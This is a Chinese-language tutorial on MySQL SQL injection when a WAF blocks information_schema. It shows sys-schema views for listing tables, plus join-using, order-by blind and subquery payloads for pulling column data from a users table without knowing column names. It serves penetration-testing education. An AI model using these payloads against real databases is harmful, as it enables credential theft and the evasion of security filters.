目錄
一、information_schema庫的作用
二、獲得表名
2.1 sys.schema_auto_increment_columns
2.2 schema_table_statistics
三、獲得列名
join … using …
order by盲注
子查詢
在進行sql注入時,我們經常會使用information_schema來進行爆數據庫名、表名、字段名,但是當waf禁用掉這個庫時,我們應該如何爆出數據呢?這個時候我們可能會思考有沒有可以替代它的庫呢?
一、information_schema庫的作用
那么想要找到替代它的庫,我們首先要知道information_schema庫的作用是什么?
????????它是一個系統數據庫,存儲了MySQL服務器中所有其他數據庫的元數據信息。提供對數據庫、表、列、索引等元數據的訪問,幫助我們了解數據庫結構。很幸運在mysql?5.7以后新增了schema_auto_increment_columns這個視圖去保存所有表中含有自增字段的信息。不僅保存了庫名、表名還保存了自增字段的列名
二、獲得表名
?2.1 sys.schema_auto_increment_columns
?當我們利用database()函數獲得數據庫名之后,可以利用這個視圖去獲得表名和列名
select table_name,column_name from sys.schema_auto_increment_columns where table_schema = "security";
2.2 schema_table_statistics
而對于沒有自增列的表名,這個視圖是無法獲取的。這個時候我們可以通過統計信息視圖獲得表名
schema_table_statistics_with_buffer
schema_table_statistics
select table_name from sys.schema_table_statistics_with_buffer where table_schema = "security";
select table_name from sys.schema_table_statistics where table_schema = "security";
三、獲得列名
對于schema_auto_increment_columns獲得了表名,那么列名呢?這里我們就需要用到無列名注入
join … using …
select * from users where id='0' union all select * from (select * from users as a join users as b)as c;
select * from users where id='0' union all select * from (select * from users as a join users as b using(id,username,password))as c;
order by盲注
order by用于根據指定的列對結果集進行排序。一般上是從0-9、a-z排序,不區分大小寫。
order by盲注為何可以用于無列名注入呢?看個例子。
select * from users where id='1' union select 1,2,'c' order by 3;
select * from users where id='1' union select 1,2,'d' order by 3; select * from users where id='1' union select 1,2,'e' order by 3;
比如當我們需要猜解第三列的內容時,使用order by實例如下:
當猜測的值大于當前值時,會返回原來的數據即這里看第二列返回是否正常的username,否則會返回猜測的值。
子查詢
子查詢也能用于無列名注入,主要是結合union select聯合查詢構造列名再放到子查詢中實現。
使用如下union聯合查詢,可以給當前整個查詢的列分別賦予1、2、3的名字:
select 1,2,3 union select * from users;
接著使用子查詢就能指定查詢剛剛賦予的列名對應的列內容了:
select `3` from (select 1,2,3 union select * from users);